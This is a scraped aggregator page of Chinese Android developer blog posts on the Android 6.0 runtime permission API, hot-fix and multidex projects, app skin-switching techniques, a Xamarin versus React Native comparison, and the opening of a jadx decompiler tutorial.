Quantcast
Channel: IT瘾android推荐
Viewing all 192 articles
Browse latest View live

Android M 新的运行时权限开发者需要知道的一切

$
0
0

英文: http://inthecheesefactory.com/blog/things-you-need-to-know-about-android-m-permission-developer-edition/en
译文: http://jijiaxin89.com/2015/08/30/Android-s-Runtime-Permission/

android M 的名字官方刚发布不久,最终正式版即将来临!
android在不断发展,最近的更新 M 非常不同,一些主要的变化例如运行时权限将有颠覆性影响。惊讶的是android社区鲜有谈论这事儿,尽管这事很重要或许在不远的将来会引发很严重的问题。
这是今天我写这篇博客的原因。这里有一切关于android运行时权限你需要知道的,包括如何在代码中实现。现在亡羊补牢还不晚。

新运行时权限

android的权限系统一直是首要的安全概念,因为这些权限只在安装的时候被询问一次。一旦安装了,app可以在用户毫不知晓的情况下访问权限内的所有东西。
难怪一些坏蛋利用这个缺陷恶意收集用户数据用来做坏事了!
android小组也知道这事儿。7年了!权限系统终于被重新设计了。在android6.0棉花糖,app将不会在安装的时候授予权限。取而代之的是,app不得不在运行时一个一个询问用户授予权限。

图片描述

注意权限询问对话框不会自己弹出来。开发者不得不自己调用。如果开发者要调用的一些函数需要某权限而用户又拒绝授权的话,函数将抛出异常直接导致程序崩溃。

图片描述

另外,用户也可以随时在设置里取消已经授权的权限。

图片描述

你或许已经感觉到背后生出一阵寒意。。。如果你是个android开发者,意味着要完全改变你的程序逻辑。你不能像以前那样直接调用方法了,你不得不为每个需要的地方检察权限,否则app就崩溃了!
是的。我不能哄你说这是简单的事儿。尽管这对用户来说是好事,但是对开发者来说就是噩梦。我们不得不修改编码不然不论短期还是长远来看都是潜在的问题。
这个新的运行时权限仅当我们设置targetSdkVersion to 23(这意味着你已经在23上测试通过了)才起作用,当然还要是M系统的手机。app在6.0之前的设备依然使用旧的权限系统。

已经发布了的app会发生什么

新运行时权限可能已经让你开始恐慌了。“hey,伙计!我三年前发布的app可咋整呢。如果他被装到android 6.0上,我的app会崩溃吗?!?”
莫慌张,放轻松。android小队又不傻,肯定考虑到了这情况。如果app的targetSdkVersion 低于 23,那将被认为app没有用23新权限测试过,那将被继续使用旧有规则:用户在安装的时候不得不接受所有权限,安装后app就有了那些权限咯!

图片描述

然后app像以前一样奔跑!注意,此时用户依然可以取消已经同意的授权!用户取消授权时,android 6.0系统会警告,但这不妨碍用户取消授权。

图片描述

问题又来了,这时候你的app崩溃吗?
善意的主把这事也告诉了android小组,当我们在targetSdkVersion 低于23的app调用一个需要权限的函数时,这个权限如果被用户取消授权了的话,不抛出异常。但是他将啥都不干,结果导致函数返回值是null或者0.

图片描述

别高兴的太早。尽管app不会调用这个函数时崩溃,返回值null或者0可能接下来依然导致崩溃。
好消息(至少目前看来)是这类取消权限的情况比较少,我相信很少用户这么搞。如果他们这么办了,后果自负咯。
但从长远看来,我相信还是会有大量用户会关闭一些权限。我们app不能再新设备完美运行这是不可接受的。
怎样让他完美运行呢,你最好修改代码支持最新的权限系统,而且我建议你立刻着手搞起!
代码没有成功改为支持最新运行时权限的app,不要设置targetSdkVersion 23 发布,否则你就有麻烦了。只有当你测试过了,再改为targetSdkVersion 23 。
警告:现在你在android studio新建项目,targetSdkVersion 会自动设置为 23。如果你还没支持新运行时权限,我建议你首先把targetSdkVersion 降级到22

PROTECTION_NORMAL类权限

当用户安装或更新应用时,系统将授予应用所请求的属于 PROTECTION_NORMAL 的所有权限(安装时授权的一类基本权限)。这类权限包括:

android.permission.ACCESS LOCATIONEXTRA_COMMANDS
android.permission.ACCESS NETWORKSTATE
android.permission.ACCESS NOTIFICATIONPOLICY
android.permission.ACCESS WIFISTATE
android.permission.ACCESS WIMAXSTATE
android.permission.BLUETOOTH
android.permission.BLUETOOTH_ADMIN
android.permission.BROADCAST_STICKY
android.permission.CHANGE NETWORKSTATE
android.permission.CHANGE WIFIMULTICAST_STATE
android.permission.CHANGE WIFISTATE
android.permission.CHANGE WIMAXSTATE
android.permission.DISABLE_KEYGUARD
android.permission.EXPAND STATUSBAR
android.permission.FLASHLIGHT
android.permission.GET_ACCOUNTS
android.permission.GET PACKAGESIZE
android.permission.INTERNET
android.permission.KILL BACKGROUNDPROCESSES
android.permission.MODIFY AUDIOSETTINGS
android.permission.NFC
android.permission.READ SYNCSETTINGS
android.permission.READ SYNCSTATS
android.permission.RECEIVE BOOTCOMPLETED
android.permission.REORDER_TASKS
android.permission.REQUEST INSTALLPACKAGES
android.permission.SET TIMEZONE
android.permission.SET_WALLPAPER
android.permission.SET WALLPAPERHINTS
android.permission.SUBSCRIBED FEEDSREAD
android.permission.TRANSMIT_IR
android.permission.USE_FINGERPRINT
android.permission.VIBRATE
android.permission.WAKE_LOCK
android.permission.WRITE SYNCSETTINGS
com.android.alarm.permission.SET_ALARM
com.android.launcher.permission.INSTALL_SHORTCUT
com.android.launcher.permission.UNINSTALL_SHORTCUT

只需要在AndroidManifest.xml中简单声明这些权限就好,安装时就授权。不需要每次使用时都检查权限,而且用户不能取消以上授权。

让你的app支持新运行时权限

是时候让我们的app支持新权限模型了,从设置compileSdkVersion and targetSdkVersion 为 23开始吧.

android {
    compileSdkVersion 23
    ...
    defaultConfig {
        ...
        targetSdkVersion 23
        ...
    }

例子,我想用一下方法添加联系人。

private static final String TAG = "Contacts";
private void insertDummyContact() {
    // Two operations are needed to insert a new contact.
    ArrayList<ContentProviderOperation> operations = new ArrayList<ContentProviderOperation>(2);
    // First, set up a new raw contact.
    ContentProviderOperation.Builder op =
            ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)
                    .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null)
                    .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null);
    operations.add(op.build());
    // Next, set the name for the contact.
    op = ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
            .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
            .withValue(ContactsContract.Data.MIMETYPE,
                    ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
            .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME,"__DUMMY CONTACT from runtime permissions sample");
    operations.add(op.build());
    // Apply the operations.
    ContentResolver resolver = getContentResolver();
    try {
        resolver.applyBatch(ContactsContract.AUTHORITY, operations);
    } catch (RemoteException e) {
        Log.d(TAG, "Could not add a new contact: " + e.getMessage());
    } catch (OperationApplicationException e) {
        Log.d(TAG, "Could not add a new contact: " + e.getMessage());
    }
}

上面代码需要WRITE_CONTACTS权限。如果不询问授权,app就崩了。
下一步像以前一样在AndroidManifest.xml添加声明权限。

<uses-permission android:name="android.permission.WRITE_CONTACTS"/>

下一步,不得不再写个方法检查有没有权限。如果没有弹个对话框询问用户授权。然后你才可以下一步创建联系人。

权限被分组了,如下表:

图片描述

同一组的任何一个权限被授权了,其他权限也自动被授权。例如,一旦WRITE CONTACTS被授权了,app也有READCONTACTS和GET_ACCOUNTS了。
源码中被用来检查和请求权限的方法分别是Activity的checkSelfPermission和requestPermissions。这些方法api23引入。

final private int REQUEST_CODE_ASK_PERMISSIONS = 123;
private void insertDummyContactWrapper() {
    int hasWriteContactsPermission = checkSelfPermission(Manifest.permission.WRITE_CONTACTS);
    if (hasWriteContactsPermission != PackageManager.PERMISSION_GRANTED) {
        requestPermissions(new String[] {Manifest.permission.WRITE_CONTACTS},
                REQUEST_CODE_ASK_PERMISSIONS);
        return;
    }
    insertDummyContact();
}

如果已有权限,insertDummyContact()会执行。否则,requestPermissions被执行来弹出请求授权对话框,如下:

图片描述

不论用户同意还是拒绝,activity的onRequestPermissionsResult会被回调来通知结果(通过第三个参数),grantResults,如下:

@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
    switch (requestCode) {
        case REQUEST_CODE_ASK_PERMISSIONS:
            if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // Permission Granted
                insertDummyContact();
            } else {
                // Permission Denied
                Toast.makeText(MainActivity.this, "WRITE_CONTACTS Denied", Toast.LENGTH_SHORT)
                        .show();
            }
            break;
        default:
            super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    }
}

这就是新权限模型工作过程。代码真复杂但是只能去习惯它。。。为了让app很好兼容新权限模型,你不得不用以上类似方法处理所有需要的情况。
如果你想捶墙,现在是时候了。。。

处理 “不再提醒”

如果用户拒绝某授权。下一次弹框,用户会有一个“不再提醒”的选项的来防止app以后继续请求授权。

图片描述

如果这个选项在拒绝授权前被用户勾选了。下次为这个权限请求requestPermissions时,对话框就不弹出来了,结果就是,app啥都不干。
这将是很差的用户体验,用户做了操作却得不到响应。这种情况需要好好处理一下。在请求requestPermissions前,我们需要检查是否需要展示请求权限的提示通过activity的shouldShowRequestPermissionRationale,代码如下:

final private int REQUEST_CODE_ASK_PERMISSIONS = 123;
private void insertDummyContactWrapper() {
    int hasWriteContactsPermission = checkSelfPermission(Manifest.permission.WRITE_CONTACTS);
    if (hasWriteContactsPermission != PackageManager.PERMISSION_GRANTED) {
            if (!shouldShowRequestPermissionRationale(Manifest.permission.WRITE_CONTACTS)) {
                showMessageOKCancel("You need to allow access to Contacts",
                        new DialogInterface.OnClickListener() {
                            @Override
                            public void onClick(DialogInterface dialog, int which) {
                                requestPermissions(new String[] {Manifest.permission.WRITE_CONTACTS},
                                        REQUEST_CODE_ASK_PERMISSIONS);
                            }
                        });
                return;
            }
        requestPermissions(new String[] {Manifest.permission.WRITE_CONTACTS},
                REQUEST_CODE_ASK_PERMISSIONS);
        return;
    }
    insertDummyContact();
}
private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) {
    new AlertDialog.Builder(MainActivity.this)
            .setMessage(message)
            .setPositiveButton("OK", okListener)
            .setNegativeButton("Cancel", null)
            .create()
            .show();
}

当一个权限第一次被请求和用户标记过不再提醒的时候,我们写的对话框被展示。
后一种情况,onRequestPermissionsResult 会收到PERMISSION_DENIED ,系统询问对话框不展示。

图片描述

搞定!

一次请求多个权限

当然了有时候需要好多权限,可以用上面方法一次请求多个权限。不要忘了为每个权限检查“不再提醒”的设置。
修改后的代码:

final private int REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS = 124;
private void insertDummyContactWrapper() {
    List<String> permissionsNeeded = new ArrayList<String>();
    final List<String> permissionsList = new ArrayList<String>();
    if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))
        permissionsNeeded.add("GPS");
    if (!addPermission(permissionsList, Manifest.permission.READ_CONTACTS))
        permissionsNeeded.add("Read Contacts");
    if (!addPermission(permissionsList, Manifest.permission.WRITE_CONTACTS))
        permissionsNeeded.add("Write Contacts");
    if (permissionsList.size() > 0) {
        if (permissionsNeeded.size() > 0) {
            // Need Rationale
            String message = "You need to grant access to " + permissionsNeeded.get(0);
            for (int i = 1; i < permissionsNeeded.size(); i++)
                message = message + ", " + permissionsNeeded.get(i);
            showMessageOKCancel(message,
                    new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialog, int which) {
                            requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
                                    REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);
                        }
                    });
            return;
        }
        requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
                REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);
        return;
    }
    insertDummyContact();
}
private boolean addPermission(List<String> permissionsList, String permission) {
    if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {
        permissionsList.add(permission);
        // Check for Rationale Option
        if (!shouldShowRequestPermissionRationale(permission))
            return false;
    }
    return true;
}

如果所有权限被授权,依然回调onRequestPermissionsResult,我用hashmap让代码整洁便于阅读。

@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
    switch (requestCode) {
        case REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS:
            {
            Map<String, Integer> perms = new HashMap<String, Integer>();
            // Initial
            perms.put(Manifest.permission.ACCESS_FINE_LOCATION, PackageManager.PERMISSION_GRANTED);
            perms.put(Manifest.permission.READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
            perms.put(Manifest.permission.WRITE_CONTACTS, PackageManager.PERMISSION_GRANTED);
            // Fill with results
            for (int i = 0; i < permissions.length; i++)
                perms.put(permissions[i], grantResults[i]);
            // Check for ACCESS_FINE_LOCATION
            if (perms.get(Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED&& perms.get(Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED&& perms.get(Manifest.permission.WRITE_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
                // All Permissions Granted
                insertDummyContact();
            } else {
                // Permission Denied
                Toast.makeText(MainActivity.this, "Some Permission is Denied", Toast.LENGTH_SHORT)
                        .show();
            }
            }
            break;
        default:
            super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    }
}

条件灵活的,你自己设置。有的情况,一个权限没有授权,就不可用;但是也有情况,能工作,但是表现的是有所限制的。对于这个我不做评价,你自己设计吧。

用兼容库使代码兼容旧版

以上代码在android 6.0以上运行没问题,但是23 api之前就不行了,因为没有那些方法。
粗暴的方法是检查版本

if (Build.VERSION.SDK_INT >= 23) {
    // Marshmallow+
} else {
    // Pre-Marshmallow
}

但是太复杂,我建议用v4兼容库,已对这个做过兼容,用这个方法代替:

  • ContextCompat.checkSelfPermission()

被授权函数返回PERMISSION GRANTED,否则返回PERMISSIONDENIED ,在所有版本都是如此。

  • ActivityCompat.requestPermissions()
    这个方法在M之前版本调用,OnRequestPermissionsResultCallback 直接被调用,带着正确的 PERMISSION GRANTED或者 PERMISSIONDENIED 。

  • ActivityCompat.shouldShowRequestPermissionRationale()
    在M之前版本调用,永远返回false。

用v4包的这三方法,完美兼容所有版本!这个方法需要额外的参数,Context or Activity。别的就没啥特别的了。下面是代码:

private void insertDummyContactWrapper() {
    int hasWriteContactsPermission = ContextCompat.checkSelfPermission(MainActivity.this,
            Manifest.permission.WRITE_CONTACTS);
    if (hasWriteContactsPermission != PackageManager.PERMISSION_GRANTED) {
        if (!ActivityCompat.shouldShowRequestPermissionRationale(MainActivity.this,
                Manifest.permission.WRITE_CONTACTS)) {
            showMessageOKCancel("You need to allow access to Contacts",
                    new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialog, int which) {
                            ActivityCompat.requestPermissions(MainActivity.this,
                                    new String[] {Manifest.permission.WRITE_CONTACTS},
                                    REQUEST_CODE_ASK_PERMISSIONS);
                        }
                    });
            return;
        }
        ActivityCompat.requestPermissions(MainActivity.this,
                new String[] {Manifest.permission.WRITE_CONTACTS},
                REQUEST_CODE_ASK_PERMISSIONS);
        return;
    }
    insertDummyContact();
}

后两个方法,我们也可以在Fragment中使用,用v13兼容包:FragmentCompat.requestPermissions() and FragmentCompat.shouldShowRequestPermissionRationale().和activity效果一样。

第三方库简化代码

以上代码真复杂。为解决这事,有许多第三方库已经问世了,真有速度!我试了很多最终找到了个满意的hotchemi’s PermissionsDispatcher。
他和我上面做的一样,只是简化了代码。灵活易扩展,试一下吧。如果不满足你可以找些其他的。

如果我的app还开着呢,权限被撤销了,会发生什么

权限随时可以被撤销。

图片描述

当app开着的时候被撤消了会发生什么呢?我试过了发现这时app会突然终止 terminated。app中的一切都被简单粗暴的停止了,因为terminated!对我来说这可以理解,因为系统如果允许它继续运行(没有某权限),这会召唤弗雷迪到我的噩梦里。或许更糟…

结论建议

我相信你对新权限模型已经有了清晰的认识。我相信你也意识到了问题的严峻。
但是我们没得选择。新运行时权限已经在棉花糖中被使用了。我们没有退路。我们现在唯一能做的就是保证app适配新权限模型.
欣慰的是只有少数权限需要运行时权限模型。大多数常用的权限,例如,网络访问,属于Normal Permission 在安装时自动会授权,当然你要声明,以后无需检查。因此,只有少部分代码你需要修改。

两个建议:

  1. 严肃对待新权限模型

  2. 如果你代码没支持新权限,不要设置targetSdkVersion 23 。尤其是当你在Studio新建工程时,不要忘了修改!

说一下代码修改。这是大事,如果代码结构被设计的不够好,你需要一些很蛋疼的重构。每个app都要被修正。如上所说,我们没的选择。。。
列出所有你需要请求的权限所有情形,如果A被授权,B被拒绝,会发生什么。blah,blah。

祝重构顺利。把它列为你需要做的大事,从现在就开始着手做,以保证M正式发布的时候没有问题。

希望本文对你有用,祝你好运。。。


分享两个 Android 开源项目和一个 Doc

$
0
0

这是首发在我维护的微信公众号 codeKK上的文章,欢迎大家关注。

1. Android 傻瓜式分包插件

GitHub:https://github.com/TangXiaoLv/Android-Easy-MultiDex
这是一个可自定义哪些类放在 MainDex 中的插件。
ReadMe 中详细介绍了在使用 MultiDex 时,为了解决 MainDex 方法数超标的问题,碰到的一个个坑及如何解决,并列出了详细的参考资料,一篇很不错的文章。

 

2. Tinker_imitator

GitHub:https://github.com/zzz40500/Tinker_imitator
微信热修复方案的三方实践。这个项目还有不少待完善地方,有兴趣的可以加入一起完善,加入信息位于项目 ReadMe。

 

微信官方之前分享了他们通过全量替换新的 Dex 实现的热修复方案 Tinker,相比于其他热修复方案可以支持类、资源、Lib 级别的替换,性能损耗和补丁包都较小,官方还在走开源的审查流程。

 

这样目前主流的四种热修复方案都有了开源项目:
AndFix:https://github.com/alibaba/AndFix
Dexposed:https://github.com/alibaba/dexposed
QZone 方案三方实现:https://github.com/jasonross/Nuwa
微信方案三方实现:https://github.com/zzz40500/Tinker_imitator

 

3. 2015/2016 年国外 Android 会议部分资料整理

https://docs.google.com/spreadsheets/d/1e81FPcfaFukK-EvRaQb3l9ZE9IqUWaueiujZOT6lt5g/edit#gid=0
部分截图如下:

这是网友@TomeOkin 推荐到 http://r.codekk.com 的,欢迎大家推荐不错的内容。

 

关注微信公众号 codeKK

扫描下面二维码关注我们
codeKK

Android换肤技术总结

$
0
0

原文出处:
http://blog.zhaiyifan.cn/2015/09/10/Android%E6%8D%A2%E8%82%A4%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93/

背景

纵观现在各种Android app,其换肤需求可以归为

  • 白天/黑夜主题切换(或者别的名字,通常2套),如同花顺/自选股/天天动听等,UI表现为一个switcher。

  • 多种主题切换,通常为会员特权,如QQ/QQ空间。

对于第一种来说,目测应该是直接通过本地theme来做的,即所有图片/颜色的资源都在apk里面打包了。
而对于第二种,则相对复杂一些,由于作为一种线上服务,可能上架新皮肤,且那么多皮肤包放在apk里面实在太占体积了,所以皮肤资源会在选择后再进行下载,也就不能直接使用android的那套theme。

技术方案

内部资源加载方案和动态下载资源下载两种。
动态下载可以称为一种黑科技了,因为往往需要hack系统的一些方法,所以在部分机型和新的API上有时候可能有坑,但相对好处则很多

  • 图片/色值等资源由于是后台下发的,可以随时更新

  • APK体积减小

  • 对应用开发者来说,换肤几乎是透明的,不需要关心有几套皮肤

  • 可以作为增值服务卖钱!!

内部资源加载方案

内部资源加载都是通过android本身那套theme来做的,相对业务开发来说工作量更大(需要定义attr和theme),不同方案类似地都是在BaseActivity里面做setTheme,差别主要在解决以下2个问题的策略:

  • setTheme后如何实时刷新,而不用重新创建页面(尤其是listview里面的item)。

  • 哪些view需要刷新,刷新什么(背景?字体颜色?ImageView的src?)。

自定义view

MultipleTheme
做自定义view是为了在setTheme后会去立即刷新,更新页面UI对应资源(如TextView替换背景图和文字颜色),在上述项目中,则是通过对rootView进行遍历,对所有实现了ColorUiInterface的view/viewgroup进行setTheme操作来实现即使刷新的。
显然这样太重了,需要把应用内的各种view/viewgroup进行替换。
手动绑定view和要改变的资源类型

Colorful
这个…我们看看用法吧…

ViewGroupSetter listViewSetter = new ViewGroupSetter(mNewsListView);
// 绑定ListView的Item View中的news_title视图,在换肤时修改它的text_color属性
listViewSetter.childViewTextColor(R.id.news_title, R.attr.text_color);

// 构建Colorful对象来绑定View与属性的对象关系
mColorful = new Colorful.Builder(this)
        .backgroundDrawable(R.id.root_view, R.attr.root_view_bg)
        // 设置view的背景图片
        .backgroundColor(R.id.change_btn, R.attr.btn_bg)
        // 设置背景色
        .textColor(R.id.textview, R.attr.text_color)
        .setter(listViewSetter) // 手动设置setter
        .create(); // 设置文本颜色

我就是想换个皮肤,还得在activity里自己去设置要改变哪个view的什么属性,对应哪个attribute?是不是成本太高了?而且activity的逻辑也很容易被弄得乱七八糟。

动态资源加载方案

resource替换

开源项目可参照 Android-Skin-Loader
即覆盖application的getResource方法,优先加载本地皮肤包文件夹下的资源包,对于性能问题,可以通过attribute或者资源名称规范(如需要换肤则用skin_开头)来优化,从而不对不换肤的资源进行额外开销。
可以重点关注该项目中的SkinInflaterFactory和SkinManager(实现了自己的getColor、getDrawable方法)。
不过由于Android 5.1源码里,getDrawable方法的实现被修改了,所以会导致无法跟肤的问题(其实是loadDrawable被修改了,连参数都改了,类似的内部API大改在5.1上还很多)。
4.4的源码中Resources.java:

public Drawable getDrawable(int id) throws NotFoundException {
    TypedValue value;
    synchronized (mAccessLock) {
        value = mTmpValue;
        if (value == null) {
            value = new TypedValue();
        } else {
            mTmpValue = null;
        }
        getValue(id, value, true);
    }
    // 实际资源通过loadDrawable方法加载
    Drawable res = loadDrawable(value, id);
    synchronized (mAccessLock) {
        if (mTmpValue == null) {
            mTmpValue = value;
        }
    }
    return res;
}

// loadDrawable会去preload的LongSparseArray里面查找
/*package*/ Drawable loadDrawable(TypedValue value, int id)
        throws NotFoundException {

    if (TRACE_FOR_PRELOAD) {
        // Log only framework resources
        if ((id >>> 24) == 0x1) {
            final String name = getResourceName(id);
            if (name != null) android.util.Log.d("PreloadDrawable", name);
        }
    }

    boolean isColorDrawable = false;
    if (value.type >= TypedValue.TYPE_FIRST_COLOR_INT &&
            value.type <= TypedValue.TYPE_LAST_COLOR_INT) {
        isColorDrawable = true;
    }
    final long key = isColorDrawable ? value.data :
            (((long) value.assetCookie) << 32) | value.data;

    Drawable dr = getCachedDrawable(isColorDrawable ? mColorDrawableCache : mDrawableCache, key);

    if (dr != null) {
        return dr;
    }
    ...
    ...
    return dr;
}

而5.1代码里Resources.java:

// 可以看到,方法参数里面加上了Theme
public Drawable getDrawable(int id, @Nullable Theme theme) throws NotFoundException {
    TypedValue value;
    synchronized (mAccessLock) {
        value = mTmpValue;
        if (value == null) {
            value = new TypedValue();
        } else {
            mTmpValue = null;
        }
        getValue(id, value, true);
    }
    final Drawable res = loadDrawable(value, id, theme);
    synchronized (mAccessLock) {
        if (mTmpValue == null) {
            mTmpValue = value;
        }
    }
    return res;
}

/*package*/ Drawable loadDrawable(TypedValue value, int id, Theme theme) throws NotFoundException {
    if (TRACE_FOR_PRELOAD) {
        // Log only framework resources
        if ((id >>> 24) == 0x1) {
            final String name = getResourceName(id);
            if (name != null) {
                Log.d("PreloadDrawable", name);
            }
        }
    }

    final boolean isColorDrawable;
    final ArrayMap<String, LongSparseArray<WeakReference<ConstantState>>> caches;
    final long key;
    if (value.type >= TypedValue.TYPE_FIRST_COLOR_INT&& value.type <= TypedValue.TYPE_LAST_COLOR_INT) {
        isColorDrawable = true;
        caches = mColorDrawableCache;
        key = value.data;
    } else {
        isColorDrawable = false;
        caches = mDrawableCache;
        key = (((long) value.assetCookie) << 32) | value.data;
    }

    // First, check whether we have a cached version of this drawable
    // that was inflated against the specified theme.
    if (!mPreloading) {
        final Drawable cachedDrawable = getCachedDrawable(caches, key, theme);
        if (cachedDrawable != null) {
            return cachedDrawable;
        }
    }

方法名字都改了

Hack Resources internally

黑科技方法,直接对Resources进行hack,Resources.java:

// Information about preloaded resources.  Note that they are not
// protected by a lock, because while preloading in zygote we are all
// single-threaded, and after that these are immutable.
private static final LongSparseArray<Drawable.ConstantState>[] sPreloadedDrawables;
private static final LongSparseArray<Drawable.ConstantState> sPreloadedColorDrawables
        = new LongSparseArray<Drawable.ConstantState>();
private static final LongSparseArray<ColorStateList> sPreloadedColorStateLists
        = new LongSparseArray<ColorStateList>();

直接对Resources里面的这三个LongSparseArray进行替换,由于apk运行时的资源都是从这三个数组里面加载的,所以只要采用interceptor模式:

public class DrawablePreloadInterceptor extends LongSparseArray<Drawable.ConstantState>

自己实现一个LongSparseArray,并通过反射set回去,就能实现换肤,具体getDrawable等方法里是怎么取preload数组的,可以自己看 Resources的源码。

等等,就这么简单?,NONO,少年你太天真了,怎么去加载xml,9patch的padding怎么更新,怎么打包/加载自定义的皮肤包,drawable的状态怎么刷新,等等。这些都是你需要考虑的,在存在插件的app中,还需要考虑是否会互相覆盖resource id的问题,进而需要修改apt,把resource id按位放在2个range。
手Q和独立版QQ空间使用的是这种方案,效果挺好。

总结

尽管动态加载方案比较黑科技,可能因为系统API的更改而出问题,但相对来所
好处有

  • 灵活性高,后台可以随时更新皮肤包

  • 相对透明,开发者几乎不用关心有几套皮肤,不用去定义各种theme和attr,甚至连皮肤包的打包都- - 可以交给设计或者专门的同学

  • apk体积节省
    存在的问题

  • 没有完善的开源项目,如果我们采用动态加载的第二种方案,需要的项目功能包括:

  • 自定义皮肤包结构

  • 换肤引擎,加载皮肤包资源并load,实时刷新。

  • 皮肤包打包工具

  • 对各种rom的兼容

如果有这么一个项目的话,就一劳永逸了,有兴趣的同学可以联系一下,大家一起搞一搞。

内部加载方案大同小异,主要解决的都是即时刷新的问题,然而从目前的一些开源项目来看,仍然没有特别简便的方案。让我选的话,我宁愿让界面重新创建,比如重启activity,或者remove所有view再添加回来。

浅谈移动应用的跨平台开发工具(Xamarin和React Native)

$
0
0

谈移动应用的跨平台开发不能不提HTML5,PhoneGap和Sencha等平台一直致力于使用HTML5技术来开发跨平台的移动应用,现在看来这个方向基本算是失败的,基于HTML5的移动应用在用户体验上与原生应用仍然存在着明显的差距。

与上述HTML5平台不同,Xamarin和React Native通过各自的方式来实现跨平台。Xamarin基于Mono框架将C#代码编译为原生平台代码,React Native则是在UI主线程之外运行一个JavaScript线程,两者呈现给用户的都是原生体验。

2in1

笔者恰巧两个平台都各使用过一段时间,在这里就抛砖引玉,分享一下个人观点。对于资源有限的创业团队,如果熟悉JavaScript,使用React Native再加上React,Redux等技术可以实现移动端、Web端、和Service端整套系统的开发,还可以重用一部分代码(比如Reducer和Action中的业务逻辑,以及通用的JavaScript组件代码),React Native也非常适合快速原型的开发。对于实力相对雄厚的大中型公司,如果已经在使用Microsoft的.Net技术,并且拥有成体系的系统架构,那么Xamarin或许是一个更好的选择,架构设计得好的话在代码重用方面并不逊于React Native。

下面从几个方面说一说两者各自的优缺点:

  • 从编程语言的角度来说,C#和JavaScript都是成熟的主流编程语言,都有丰富的第三方库和强大的社区支持。两种语言都能够实现从前端一直到后端的整套方案。
  • 从开发工具的角度来说,Xamarin Studio的表现只能说刚刚及格,有种和Xamarin整个产品线不在一个水平的感觉,特别是重构和界面可视化编辑等方面还有很大的改善空间,并且在版本升级中经常会引入新的BUG,让笔者多少有点患上了升级恐惧症。React Native本身没有IDE,开发人员可以选择自己熟悉的JavaScript IDE,比如:IntelliJ等。
  • 从第三方库的角度来说,Xamarin的第三方库给人一种不多不少、刚好够用的感觉。在IDE中集成了Xamarin Component Store以后,第三方库的数量质量都有了提升,开发人员使用起来也非常方便。如果遇到特殊情况需要自己开发或者绑定(binding)原生代码库时可能会比较麻烦一些。React Native则完全依赖于JavaScript社区,NPM和GitHub,在需要自行开发和桥接(bridging)原生代码库时个人觉得比Xamarin容易一些。
  • 价格方面,Xamarin有免费版本,但在应用包尺寸上有限制。对于企业级开发最好还是选择它的Enterprise License,虽然价格不菲,但是可以获得技术支持和使用平台的其他产品(如:Xamarin.Forms和Xamarin Test Cloud)。React Native则是完全免费的。
  • 至于学习难度,很多人对JavaScript缺乏信心,觉得这门语言很难掌握和用好,而C#和Java则相对容易安全得多。这里笔者推荐图灵的 《你不知道的JavaScript》系列,看过之后也许能够改变这一看法。除了JavaScript语言,React Native还需要掌握Facebook的React框架,它是React Native的核心。Xamarin要求掌握C#以及iOS和Android开发的相关知识,虽然使用React Native并不一定要求会iOS和Android开发,但是对于移动应用开发者来说,无论使用什么工具、怎样跨平台,了解各个平台的架构设计还是非常必要的。

下面是对两者各方面的一个总结:

不足和纰漏之处还望各位不吝赐教,欢迎交流讨论。


欢迎关注CoolShell微信公众账号

(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn,请勿用于任何商业用途)

——=== 访问 酷壳404页面寻找遗失儿童。 ===——

Android 反编译利器,jadx 的高级技巧

$
0
0

一、前言

今天介绍一个非常好用的反编译的工具 jadx 。jadx 的功能非常的强大,对我而言,基本上满足日常反编译需求。

jadx 优点:

  1. 图形化的界面。
  2. 拖拽式的操作。
  3. 反编译输出 Java 代码。
  4. 导出 Gradle 工程。

这些优点都让 jadx 成为我反编译的第一选择,它可以处理大部分反编译的需求,基本上是我反编译工具的首选。

接下来我们就来看看,jadx 如何使用吧。

二、使用 jadx

2.1 安装 jadx

jadx 本身就是一个开源项目,源代码已经在 Github 上开源了。

Jadx Github :

https://github.com/skylot/jadx

有兴趣可以直接 clone 源代码,然后本地自己编译。但是多数情况下,我们是需要一个编译好的版本。编译好的版本,可以在 sourceforge 上下载到。

sourceforge 下载 jadx。

https://sourceforge.net/proje...

直接下载最新版就可以了,现在的最新版是 jadx-0.6.1 。下载好解压之后,你会获得这样的目录结构:

jadx-path

对于 Mac 或者 Linux,使用 jadx-gui ,Windows 下就需要使用 jadx-gui.bat 了,双击可以直接运行,如果有安全警告,忽略它就可以了。(后文主要以 Mac 环境为讲解,Windows 下的大部分操作都是类似的)

2.2 使用 jadx

前面提到,直接双击 jadx-gui 就可以直接运行。运行之后,会启动一个 terminal ,在这里你可以看到你所有操作的输出,错误日志也会输出在这里。

打开之后,你可以选择一个 apk、dex、jar、zip、class、aar 文件,可以看到 jadx 支持的格式还是挺多的,基本上编译成 Java 虚拟机能识别的字节码,它都可以进行反编译。除了选择一个文件,还可以直接将 apk 文件,拖拽进去,这一点非常好用。

